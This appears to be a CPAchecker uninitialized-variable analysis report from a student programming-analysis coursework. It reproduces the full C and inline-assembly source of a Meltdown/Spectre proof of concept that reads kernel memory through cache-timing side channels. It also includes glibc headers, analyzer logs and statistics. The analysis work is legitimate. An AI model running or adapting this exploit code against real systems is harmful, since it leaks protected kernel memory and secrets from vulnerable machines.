Report for /home/pom/CS-Work/Year-4/Practical-Programming-Analysis-COMP0174/Courseworks/Coursework_1/repos/spectre-meltdown-poc/poc.c

Generated on 2024-02-29 02:00:07 by CPAchecker 2.1.1 / uninitVars

Matches in value-assignements (V): {{numOfValueMatches}}

Matches in edge-description: {{numOfDescriptionMatches}}

Rank
Scope
-V-
{{line.bestrank}}
{{line.desc}}
Precondition (initial variable assignment):

{{precondition}}

{{fault.rank}}. {{fault.score}} Details:
Current values:
NameValue
1
/*  
2
 * Copyright (c) 2018 mniip  
3
 *  
4
 * Redistribution and use in source and binary forms, with or without  
5
 * modification, are permitted provided that the following conditions are met:  
6
 *  
7
 * 1. Redistributions of source code must retain the above copyright notice,  
8
 * this list of conditions and the following disclaimer.  
9
 *  
10
 * 2. Redistributions in binary form must reproduce the above copyright notice,  
11
 * this list of conditions and the following disclaimer in the documentation  
12
 * and/or other materials provided with the distribution.  
13
 *  
14
 * 3. Neither the name of the copyright holder nor the names of its  
15
 * contributors may be used to endorse or promote products derived from this  
16
 * software without specific prior written permission.  
17
 *  
18
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"  
19
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE  
20
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE  
21
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE  
22
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR  
23
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF  
24
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS  
25
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN  
26
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)  
27
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE  
28
 * POSSIBILITY OF SUCH DAMAGE.  
29
 */  
30
  
31
#include <stdlib.h>  
32
#include <stdio.h>  
33
#include <unistd.h>  
34
#include <stdint.h>  
35
#include <string.h>  
36
#include <sys/mman.h>  
37
#include <time.h>  
38
#include <setjmp.h>  
39
#include <signal.h>  
40
  
41
#include <math.h>  
42
  
43
#ifdef VISUALIZE  
44
int gnuplot()  
45
{  
46
	int pipes[2];  
47
	if(pipe(pipes))  
48
	{  
49
		perror("pipe");  
50
		exit(EXIT_FAILURE);  
51
	}  
52
	int pid = fork();  
53
	if(pid < 0)  
54
	{  
55
		perror("fork");  
56
		exit(EXIT_FAILURE);  
57
	}  
58
	if(!pid)  
59
	{  
60
		close(pipes[1]);  
61
		if(dup2(pipes[0], fileno(stdin)))  
62
		{  
63
			perror("dup2");  
64
			exit(EXIT_FAILURE);  
65
		}  
66
		execlp("gnuplot", "gnuplot", NULL);  
67
		perror("execve");  
68
		exit(EXIT_FAILURE);  
69
	}  
70
	close(pipes[0]);  
71
	return pipes[1];  
72
}  
73
#endif  
74
  
75
extern unsigned long long time_read(void const *);  
76
asm(  
77
".section .text\n"  
78
".global time_read\n"  
79
"time_read:\n"  
80
"	mfence\n"  
81
"	lfence\n"  
82
"	rdtsc\n"  
83
"	lfence\n"  
84
"	movq %rax, %rcx\n"  
85
"	movb (%rdi), %al\n"  
86
"	lfence\n"  
87
"	rdtsc\n"  
88
"	subq %rcx, %rax\n"  
89
"	ret\n"  
90
);  
91
  
92
extern void clflush(void *);  
93
asm(  
94
".section .text\n"  
95
".global clflush\n"  
96
"clflush:\n"  
97
"	mfence\n"  
98
"	clflush (%rdi)\n"  
99
"	retq\n"  
100
);  
101
  
102
#define STR2(X) #X  
103
#define STR(X) STR2(X)  
104
  
105
#define PAGE_SIZE 4096  
106
#define PTRS_PER_PAGE (PAGE_SIZE / sizeof(uint64_t))  
107
#define POISON_LEN (PTRS_PER_PAGE * 1 - 1)  
108
#define POISON_SKIP_RATE 4 // better be a divisor of PTRS_PER_PAGE  
109
  
110
extern void poison_speculate(void **, long int *, char (*)[4096]);  
111
asm(  
112
".section .text\n"  
113
".global poison_speculate\n"  
114
"poison_speculate:\n"  
115
"	addq $8*" STR((POISON_SKIP_RATE - 1)) ", %rdi\n"  
116
"	addq $8*" STR((POISON_SKIP_RATE - 1)) ", %rsi\n"  
117
"1:\n"  
118
"	xorl %eax, %eax\n"  
119
"	movq (%rdi), %r15\n"  
120
"	prefetcht0 (%r15)\n"  
121
"	movl (%rsi), %r14d\n"  
122
"	testl %r14d, %r14d\n"  
123
"	jnz 2f\n"  
124
"	movb (%r15), %al\n"  
125
"	shlq $12, %rax\n"  
126
"	incb (%rdx, %rax)\n"  
127
"	addq $8*" STR(POISON_SKIP_RATE) ", %rdi\n"  
128
"	addq $8*" STR(POISON_SKIP_RATE) ", %rsi\n"  
129
"	jmp 1b\n"  
130
"2:	retq\n"  
131
);  
132
  
133
#define TENFOLD(x) x x x x x x x x x x  
134
extern void stall_speculate(void *, char (*)[4096]);  
135
asm(  
136
".section .text\n"  
137
".global stall_speculate\n"  
138
"stall_speculate:\n"  
139
"	mfence\n"  
140
"	call 1f\n"  
141
"	movzbl (%rdi), %eax\n"  
142
"	shll $12, %eax\n"  
143
"	movq (%rsi, %rax), %rcx\n"  
144
"1:	xorps %xmm0, %xmm0\n"  
145
"	aesimc %xmm0, %xmm0\n"  
146
"	aesimc %xmm0, %xmm0\n"  
147
"	aesimc %xmm0, %xmm0\n"  
148
"	aesimc %xmm0, %xmm0\n"  
149
"	movd %xmm0, %eax\n"  
150
"	lea 8(%rsp, %rax), %rsp\n"  
151
"	ret\n"  
152
);  
153
  
154
#ifndef POISON  
155
jmp_buf restore;  
156
void signal_action(int signal, siginfo_t *si, void *u)  
157
{  
158
	longjmp(restore, 1);  
159
}  
160
#endif  
161
  
162
typedef struct  
163
{  
164
	char (*mapping)[PAGE_SIZE];  
165
#ifdef POISON  
166
	void **pointers;  
167
	uint64_t *isspec;  
168
	char *defval;  
169
#endif  
170
}  
171
channel;  
172
  
173
void open_channel(channel *ch)  
174
{  
175
	ch->mapping = mmap(NULL, PAGE_SIZE * 256, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);  
176
	if(ch->mapping == MAP_FAILED)  
177
	{  
178
		perror("mmap mapping");  
179
		exit(EXIT_FAILURE);  
180
	}  
181
	memset(ch->mapping, 0, PAGE_SIZE * 256);  
182
  
183
#ifdef POISON  
184
	ch->pointers = mmap(NULL, (POISON_LEN + 1) * sizeof(void *), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);  
185
	if(ch->pointers == MAP_FAILED)  
186
	{  
187
		perror("mmap pointers");  
188
		exit(EXIT_FAILURE);  
189
	}  
190
  
191
	ch->isspec = mmap(NULL, (POISON_LEN + 2) * sizeof(uint64_t), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);  
192
	if(ch->isspec == MAP_FAILED)  
193
	{  
194
		perror("mmap isspec");  
195
		exit(EXIT_FAILURE);  
196
	}  
197
	ch->isspec++;  
198
  
199
	ch->defval = malloc(1);  
200
	*(ch->defval) = 0;  
201
  
202
	for(int r = 0; r < POISON_LEN; r++)  
203
	{  
204
		ch->pointers[r] = ch->defval;  
205
		ch->isspec[r] = 0;  
206
	}  
207
	ch->isspec[POISON_LEN] = 1; // first element placed on the second page  
208
#endif  
209
}  
210
  
211
void free_channel(channel *ch)  
212
{  
213
	munmap(ch->mapping, PAGE_SIZE * 256);  
214
#ifdef POISON  
215
	free(ch->defval);  
216
	munmap(ch->pointers, (POISON_LEN + 1) * sizeof(void *));  
217
	munmap(ch->isspec - 1, (POISON_LEN + 2) * sizeof(uint64_t));  
218
#endif  
219
}  
220
  
221
void poke_kernel()  
222
{  
223
	syscall(0, -1, 0, 0);  
224
}  
225
  
226
char test_one = 1;  
227
int dump = 0;  
228
  
229
#define ITERATIONS 2000  
230
  
231
#define TIME_DIVS 50  
232
#define TIME_BUCKET 8  
233
int timing[256][TIME_DIVS];  
234
  
235
void collect_stats(channel *ch, void *addr)  
236
{  
237
	for(int ms = 0; ms < TIME_DIVS; ms++)  
238
		for(int line = 0; line < 256; line++)  
239
			timing[line][ms] = 0;  
240
  
241
#ifdef POISON  
242
	ch->pointers[POISON_LEN] = addr;  
243
#endif  
244
	  
245
	for(int line = 0; line < 256; line++)  
246
	{  
247
		for(int i = 0; i < ITERATIONS; i++)  
248
		{  
249
			clflush(ch->mapping[line]);  
250
  
251
			poke_kernel();  
252
#ifdef POISON  
253
			clflush(&ch->isspec[POISON_LEN]);  
254
			poison_speculate(ch->pointers, ch->isspec, ch->mapping);  
255
#else  
256
			//if(!setjmp(restore))  
257
			stall_speculate(addr, ch->mapping);  
258
#endif  
259
		  
260
			unsigned long long t = time_read(ch->mapping[line]);  
261
			if(t / TIME_BUCKET < TIME_DIVS)  
262
				timing[line][t / TIME_BUCKET]++;  
263
		}  
264
	}  
265
}  
266
  
267
int median(int *arr, int len)  
268
{  
269
	int sum = 0;  
270
	for(int i = 0; i < len; i++)  
271
		sum += arr[i];  
272
	int total = 0;  
273
	for(int i = 0; i < len; i++)  
274
	{  
275
		total += arr[i];  
276
		if(total >= sum / 2)  
277
			return i;  
278
	}  
279
	return len;  
280
}  
281
  
282
int cutoff_time;  
283
int calculate_cutoff(channel *ch)  
284
{  
285
#ifdef POISON  
286
	collect_stats(ch, &test_one);  
287
	int med_hit = median(timing[0], TIME_DIVS) * TIME_BUCKET;  
288
	int med_miss = median(timing[128], TIME_DIVS) * TIME_BUCKET;  
289
	cutoff_time = (med_hit + med_miss) / 2;  
290
#else  
291
	collect_stats(ch, NULL);  
292
	int med_miss = median(timing[128], TIME_DIVS) * TIME_BUCKET;  
293
	cutoff_time = med_miss / 2;  
294
#endif  
295
}  
296
  
297
#define PROB_HIT_ACCIDENTAL 0.0005  
298
#define PROB_HIT_FAILS 0.9995  
299
int hit_timing[256];  
300
int miss_timing[256];  
301
int run_timing_once(channel *ch, void *addr, double *uncertainty)  
302
{  
303
	for(int line = 0; line < 256; line++)  
304
		hit_timing[line] = miss_timing[line] = 0;  
305
  
306
#ifdef POISON  
307
	ch->pointers[POISON_LEN] = addr;  
308
#endif  
309
	  
310
	for(int line = 0; line < 256; line++)  
311
	{  
312
		for(int i = 0; i < ITERATIONS; i++)  
313
		{  
314
			clflush(ch->mapping[line]);  
315
  
316
			poke_kernel();  
317
#ifdef POISON  
318
			clflush(&ch->isspec[POISON_LEN]);  
319
			poison_speculate(ch->pointers, ch->isspec, ch->mapping);  
320
#else  
321
			//if(!setjmp(restore))  
322
			stall_speculate(addr, ch->mapping);  
323
#endif  
324
		  
325
			unsigned long long t = time_read(ch->mapping[line]);  
326
			(t < cutoff_time ? hit_timing : miss_timing)[line]++;  
327
		}  
328
	}  
329
  
330
	int max_line = 0;  
331
	for(int line = 1; line < 256; line++)  
332
		if(max_line == 0 ? hit_timing[line] > 0 : hit_timing[line] > hit_timing[max_line])  
333
			max_line = line;  
334
	  
335
	if(max_line)  
336
	{  
337
		*uncertainty = pow(PROB_HIT_ACCIDENTAL, hit_timing[max_line]);  
338
		for(int line = 1; line < 256; line++)  
339
			if(line != max_line && hit_timing[line])  
340
				*uncertainty = 1.0 - (1.0 - *uncertainty) * pow(PROB_HIT_ACCIDENTAL, hit_timing[line]);  
341
	}  
342
	else  
343
	{  
344
		*uncertainty = pow(PROB_HIT_FAILS, ITERATIONS);  
345
	}  
346
	return max_line;  
347
}  
348
  
349
//#define MAX_UNCERTAINTY 5.4e-20  
350
#define MAX_UNCERTAINTY 8.636e-78  
351
#define MAX_RETRIES 100  
352
double distribution[256];  
353
int read_byte(channel *ch, void *addr, int verbose)  
354
{  
355
	for(int line = 0; line < 256; line++)  
356
		distribution[line] = 1.0 / 256;  
357
	int val = -1;  
358
	if(verbose)  
359
		printf("%20.13g %02x", 0, 0);  
360
	while(val == -1)  
361
	{  
362
		double unc;  
363
		int newval = run_timing_once(ch, addr, &unc);  
364
		for(int line = 0; line < 256; line++)  
365
			if(line != newval)  
366
				distribution[line] = fmin(1.0, distribution[line] / unc);  
367
		distribution[newval] *= unc;  
368
  
369
		for(int line = 0; line < 256; line++)  
370
			if(distribution[line] < MAX_UNCERTAINTY)  
371
				val = line;  
372
  
373
		int md = 0;  
374
		for(int line = 0; line < 256; line++)  
375
			if(distribution[line] < distribution[md])  
376
				md = line;  
377
  
378
		if(verbose)  
379
			printf("\e[23D%20.13g %02x", distribution[md], md); fflush(stdout);  
380
	}  
381
	if(verbose)  
382
		printf("\e[23D");  
383
	return val;  
384
}  
385
  
386
int main(int argc, char *argv[])  
387
{  
388
  
389
	void *addr;  
390
	if(argc < 2 || sscanf(argv[1], "%p", &addr) != 1)  
391
	{  
392
		fprintf(stderr, "Usage: %s 0xffff????????????\n", argv[0]);  
393
		exit(EXIT_FAILURE);  
394
	}  
395
  
396
#ifndef POISON  
397
	struct sigaction sa;  
398
	sa.sa_sigaction = signal_action;  
399
	sigemptyset(&sa.sa_mask);  
400
	sa.sa_flags = SA_NODEFER | SA_SIGINFO;  
401
	sigaction(SIGSEGV, &sa, NULL);  
402
#endif  
403
  
404
	channel ch;  
405
	open_channel(&ch);  
406
  
407
#ifdef VISUALIZE  
408
	int plot = gnuplot();  
409
	dprintf(plot, "set yrange [0:" STR(TIME_BUCKET * TIME_DIVS) "]\n");  
410
	dprintf(plot, "set xrange [0:255]\n");  
411
	dprintf(plot, "set cbrange [0:10]\n");  
412
	dprintf(plot, "set terminal qt size 1024,256\n");  
413
	while(1)  
414
	{  
415
		collect_stats(&ch, addr);  
416
  
417
		dprintf(plot, "plot '-' u 1:($2*" STR(TIME_BUCKET) "):3 matrix with image pixels\n");  
418
		for(int ms = 0; ms < TIME_DIVS; ms++)  
419
		{  
420
			for(int line = 0; line < 256; line++)  
421
				dprintf(plot, "%d ", timing[line][ms]);  
422
			dprintf(plot, "\n");  
423
		}  
424
		dprintf(plot, "e\ne\n");  
425
	}  
426
#else  
427
  
428
	calculate_cutoff(&ch);  
429
	printf("cutoff: %d\n", cutoff_time);  
430
#ifdef RANDOMIZE  
431
	while(1)  
432
	{  
433
		void *a = addr + rand() % 0x481f00000;  
434
		int val = read_byte(&ch, a, 1);  
435
		if(val > 0)  
436
			printf("%p: %02x\n", a, val);  
437
	}  
438
#else  
439
	for(int ln = 0; ln < 4096 / 16; ln++)  
440
	{  
441
		printf("%p | ", addr + ln * 16);  
442
		for(int p = 0; p < 16; p++)  
443
		{  
444
			int val = read_byte(&ch, addr + ln * 16 + p, 1);  
445
			if(val == -1)  
446
				printf("?? ");  
447
			else  
448
				printf("%02x ", val);  
449
			fflush(stdout);  
450
		}  
451
		printf("\n");  
452
	}  
453
#endif  
454
#endif  
455
}  
1
/* Macros and inline functions to swap the order of bytes in integer values.  
2
   Copyright (C) 1997-2023 Free Software Foundation, Inc.  
3
   This file is part of the GNU C Library.  
4
  
5
   The GNU C Library is free software; you can redistribute it and/or  
6
   modify it under the terms of the GNU Lesser General Public  
7
   License as published by the Free Software Foundation; either  
8
   version 2.1 of the License, or (at your option) any later version.  
9
  
10
   The GNU C Library is distributed in the hope that it will be useful,  
11
   but WITHOUT ANY WARRANTY; without even the implied warranty of  
12
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU  
13
   Lesser General Public License for more details.  
14
  
15
   You should have received a copy of the GNU Lesser General Public  
16
   License along with the GNU C Library; if not, see  
17
   <https://www.gnu.org/licenses/>.  */  
18
  
19
#if !defined _BYTESWAP_H && !defined _NETINET_IN_H && !defined _ENDIAN_H  
20
# error "Never use <bits/byteswap.h> directly; include <byteswap.h> instead."  
21
#endif  
22
  
23
#ifndef _BITS_BYTESWAP_H  
24
#define _BITS_BYTESWAP_H 1  
25
  
26
#include <features.h>  
27
#include <bits/types.h>  
28
  
29
/* Swap bytes in 16-bit value.  */  
30
#define __bswap_constant_16(x)					\  
31
  ((__uint16_t) ((((x) >> 8) & 0xff) | (((x) & 0xff) << 8)))  
32
  
33
static __inline __uint16_t  
34
__bswap_16 (__uint16_t __bsx)  
35
{  
36
#if __GNUC_PREREQ (4, 8)  
37
  return __builtin_bswap16 (__bsx);  
38
#else  
39
  return __bswap_constant_16 (__bsx);  
40
#endif  
41
}  
42
  
43
/* Swap bytes in 32-bit value.  */  
44
#define __bswap_constant_32(x)					\  
45
  ((((x) & 0xff000000u) >> 24) | (((x) & 0x00ff0000u) >> 8)	\  
46
   | (((x) & 0x0000ff00u) << 8) | (((x) & 0x000000ffu) << 24))  
47
  
48
static __inline __uint32_t  
49
__bswap_32 (__uint32_t __bsx)  
50
{  
51
#if __GNUC_PREREQ (4, 3)  
52
  return __builtin_bswap32 (__bsx);  
53
#else  
54
  return __bswap_constant_32 (__bsx);  
55
#endif  
56
}  
57
  
58
/* Swap bytes in 64-bit value.  */  
59
#define __bswap_constant_64(x)			\  
60
  ((((x) & 0xff00000000000000ull) >> 56)	\  
61
   | (((x) & 0x00ff000000000000ull) >> 40)	\  
62
   | (((x) & 0x0000ff0000000000ull) >> 24)	\  
63
   | (((x) & 0x000000ff00000000ull) >> 8)	\  
64
   | (((x) & 0x00000000ff000000ull) << 8)	\  
65
   | (((x) & 0x0000000000ff0000ull) << 24)	\  
66
   | (((x) & 0x000000000000ff00ull) << 40)	\  
67
   | (((x) & 0x00000000000000ffull) << 56))  
68
  
69
__extension__ static __inline __uint64_t  
70
__bswap_64 (__uint64_t __bsx)  
71
{  
72
#if __GNUC_PREREQ (4, 3)  
73
  return __builtin_bswap64 (__bsx);  
74
#else  
75
  return __bswap_constant_64 (__bsx);  
76
#endif  
77
}  
78
  
79
#endif /* _BITS_BYTESWAP_H */  
1
/* Inline functions to return unsigned integer values unchanged.  
2
   Copyright (C) 2017-2023 Free Software Foundation, Inc.  
3
   This file is part of the GNU C Library.  
4
  
5
   The GNU C Library is free software; you can redistribute it and/or  
6
   modify it under the terms of the GNU Lesser General Public  
7
   License as published by the Free Software Foundation; either  
8
   version 2.1 of the License, or (at your option) any later version.  
9
  
10
   The GNU C Library is distributed in the hope that it will be useful,  
11
   but WITHOUT ANY WARRANTY; without even the implied warranty of  
12
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU  
13
   Lesser General Public License for more details.  
14
  
15
   You should have received a copy of the GNU Lesser General Public  
16
   License along with the GNU C Library; if not, see  
17
   <https://www.gnu.org/licenses/>.  */  
18
  
19
#if !defined _NETINET_IN_H && !defined _ENDIAN_H  
20
# error "Never use <bits/uintn-identity.h> directly; include <netinet/in.h> or <endian.h> instead."  
21
#endif  
22
  
23
#ifndef _BITS_UINTN_IDENTITY_H  
24
#define _BITS_UINTN_IDENTITY_H 1  
25
  
26
#include <bits/types.h>  
27
  
28
/* These inline functions are to ensure the appropriate type  
29
   conversions and associated diagnostics from macros that convert to  
30
   a given endianness.  */  
31
  
32
static __inline __uint16_t  
33
__uint16_identity (__uint16_t __x)  
34
{  
35
  return __x;  
36
}  
37
  
38
static __inline __uint32_t  
39
__uint32_identity (__uint32_t __x)  
40
{  
41
  return __x;  
42
}  
43
  
44
static __inline __uint64_t  
45
__uint64_identity (__uint64_t __x)  
46
{  
47
  return __x;  
48
}  
49
  
50
#endif /* _BITS_UINTN_IDENTITY_H.  */  
DateTimeLevelComponentMessage
2024-02-2902:00:06:395INFOCPAMain.detectFrontendLanguageIfNecessaryLanguage C detected and set for analysis
2024-02-2902:00:06:404INFOResourceLimitChecker.fromConfigurationUsing the following resource limits: CPU-time limit of 60s
2024-02-2902:00:06:427INFOCPAchecker.runCPAchecker 2.1.1 / uninitVars (OpenJDK 64-Bit Server VM 17.0.9) started
2024-02-2902:00:06:433INFOCPAchecker.parseParsing CFA from file(s) "/home/pom/CS-Work/Year-4/Practical-Programming-Analysis-COMP0174/Courseworks/Coursework_1/repos/spectre-meltdown-poc/poc.c"
2024-02-2902:00:06:876WARNINGCFABuilder.createCFAInline assembler ignored, analysis is probably unsound!
2024-02-2902:00:07:078INFOCPAchecker.runAlgorithmStarting analysis ...
2024-02-2902:00:07:124INFOCPAchecker.runAlgorithmStopping analysis ...
Statistics NameStatistics ValueAdditional Value
UninitializedVariablesCPA statistics
uninitialized variable addr used in line 5822 printf("%p | ", addr + (ln * 16));
No of uninitialized vars 1
AutomatonAnalysis (UninitializedVariablesObservingAutomaton) statistics
Number of states 1
Total time for successor computation 0.002s
Total time for strengthen operator 0.019s
Automaton transfers with branching 0
Automaton transfer successors 1.00 sum: 1260, count: 1260, min: 1, max: 1 [1 x 1260]
Number of states with assumption transitions 0
CPA algorithm statistics
Number of iterations 1253
Max size of waitlist 8
Average size of waitlist 1
Number of computed successors 1260
Max successors for one state 2
Number of times merged 0
Number of times stopped 1
Number of times breaked 1
Total time for CPA algorithm 0.044s Max: 0.044s
Time for choose from waitlist 0.002s
Time for precision adjustment 0.006s
Time for transfer relation 0.032s
Time for stop operator 0.001s
Time for adding to reached set 0.001s
Code Coverage
Function coverage 0.313
Visited lines 1732
Total lines 1799
Line coverage 0.963
Visited conditions 16
Total conditions 72
Condition coverage 0.222
CPAchecker general statistics
Number of program locations 1457
Number of CFA edges (per node) 1485 count: 1457, min: 0, max: 2, avg: 1.02
Number of relevant variables 61
Number of functions 16
Number of loops (and loop nodes) 18 sum: 198, min: 4, max: 35, avg: 11.00
Size of reached set 1260
Number of reached locations 1260 86%
Avg states per location 1
Max states per location 1 at node N34
Number of reached functions 5 31%
Number of partitions 1260
Avg size of partitions 1
Max size of partitions 1
Number of target states 1
Size of final wait list 7
Time for analysis setup 0.645s
Time for loading CPAs 0.121s
Time for loading parser 0.090s
Time for CFA construction 0.417s
Time for parsing file(s) 0.142s
Time for AST to CFA 0.133s
Time for CFA sanity check 0.014s
Time for post-processing 0.056s
Time for CFA export 0.211s
Time for function pointers resolving 0.001s
Function calls via function pointers 0 count: 1, min: 0, max: 0, avg: 0.00
Instrumented function pointer calls 0 count: 1, min: 0, max: 0, avg: 0.00
Function calls with function pointer arguments 0 count: 1, min: 0, max: 0, avg: 0.00
Instrumented function pointer arguments 0 count: 1, min: 0, max: 0, avg: 0.00
Time for classifying variables 0.028s
Time for collecting variables 0.014s
Time for solving dependencies 0.000s
Time for building hierarchy 0.000s
Time for building classification 0.012s
Time for exporting data 0.002s
Time for Analysis 0.046s
CPU time for analysis 0.390s
Time for analyzing result 0.002s
Total time for CPAchecker 0.691s
Total CPU time for CPAchecker 3.340s
Time for statistics 0.031s
Time for Garbage Collector 0.011s in 4 runs
Garbage Collector(s) used G1 Old Generation, G1 Young Generation
Used heap memory 46MB ( 44 MiB) max; 30MB ( 28 MiB) avg; 66MB ( 63 MiB) peak
Used non-heap memory 36MB ( 34 MiB) max; 23MB ( 22 MiB) avg; 42MB ( 41 MiB) peak
Used in G1 Old Gen pool 13MB ( 13 MiB) max; 7MB ( 7 MiB) avg; 13MB ( 13 MiB) peak
Allocated heap memory 260MB ( 248 MiB) max; 260MB ( 248 MiB) avg
Allocated non-heap memory 37MB ( 36 MiB) max; 26MB ( 24 MiB) avg
Total process virtual memory 5833MB ( 5563 MiB) max; 5400MB ( 5149 MiB) avg
#Configuration NameConfiguration Value
1analysis.name uninitVars
2analysis.programNames /home/pom/CS-Work/Year-4/Practical-Programming-Analysis-COMP0174/Courseworks/Coursework_1/repos/spectre-meltdown-poc/poc.c
3CompositeCPA.cpas cpa.location.LocationCPA, cpa.callstack.CallstackCPA, cpa.uninitvars.UninitializedVariablesCPA
4language C
5limits.time.cpu 1min
6log.level INFO
7parser.usePreprocessor true
8specification specification/UninitializedVariables.spc

About

This table was generated by CPAchecker. For feedback, questions, and bug reports please use our issue tracker.

License: Apache 2.0 License

This application includes third-party dependencies under different licenses. Click here to view them.

{{dependency.name}} {{dependency.version}}

Source: {{dependency.repository}}

{{dependency.copyright}}

License:

Full text of license
{{dependencies.licenses[dependency.licenseId]}}